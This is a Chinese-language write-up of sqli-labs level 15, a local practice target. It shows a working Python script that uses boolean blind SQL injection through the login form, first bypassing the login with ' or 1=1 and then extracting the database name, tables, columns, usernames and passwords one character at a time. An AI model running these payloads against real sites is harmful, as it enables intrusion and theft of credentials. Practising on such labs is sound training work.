开启第十五关，先尝试注入，注入多次后发现页面无报错也无回显，于是尝试盲注

使用万能密码’ or 1=1登陆成功，’ or 1=2登录失败，这里可以使用布尔盲注，

研究响应页面发现登录成功和登录失败时底下的提示是一个图片，而图片的命名不同，可以此区分成功和失败，开始写脚本，脚本的思路和之前使用布尔盲注的关卡类似，只需修改请求类型、数据和if条件即可，代码如下：

import requests

# 获取数据库名长度
def database_len():
    for i in range(1,10):
        url = f"http://localhost:90/sqli-labs-master/Less-15/"
        data = {
            "uname":f"' or length(database())>{i}#",
            "passwd":"1",
            "submit":"Submit"
        }
        headers = {
            "Content-Type":"application/x-www-form-urlencoded",
        }
        r = requests.post(url,data = data ,headers =headers)
        if "flag.jpg" not in r.text:
            print('database_length:', i)
            return i




#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://localhost:90/sqli-labs-master/Less-15/"
            data = {
                "uname": f"' or substr(database(),%d,1)='%s'#" % (j, i),
                "passwd": "1",
                "submit": "Submit"
            }
            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
            }
            r = requests.post(url, data=data, headers=headers)
            if 'flag.jpg' in r.text:
                name = name + i
                break

     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://localhost:90/sqli-labs-master/Less-15/"
            data = {
                "uname": "' or substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s'#" % (j, i),
                "passwd": "1",
                "submit": "Submit"
            }
            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
            }
            r = requests.post(url, data=data, headers=headers)
            if 'flag.jpg' in r.text:
                name = name + i
                break

    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://localhost:90/sqli-labs-master/Less-15/"
            data = {
                "uname": f"' or substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s'#" % (j, i),
                "passwd": "1",
                "submit": "Submit"
            }
            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
            }
            r = requests.post(url, data=data, headers=headers)
            if 'flag.jpg' in r.text:
                name = name + i
                break

    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://localhost:90/sqli-labs-master/Less-15/"
            data = {
                "uname": f"' or substr((select group_concat(username) from users),%d,1)='%s'#" % (j, i),
                "passwd": "1",
                "submit": "Submit"
            }
            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
            }
            r = requests.post(url, data=data, headers=headers)
            if 'flag.jpg' in r.text:
                name = name + i
                break

    print('username_value:', name)



# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://localhost:90/sqli-labs-master/Less-15/"
            data = {
                "uname": f"' or substr((select group_concat(password) from users),%d,1)='%s'#" % (j, i),
                "passwd": "1",
                "submit": "Submit"
            }
            headers = {
                "Content-Type": "application/x-www-form-urlencoded",
            }
            r = requests.post(url, data=data, headers=headers)
            if 'flag.jpg' in r.text:
                name = name + i
                break

    print('password_value:', name)


if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()

运行结果如下：

此关结束
第十六关同理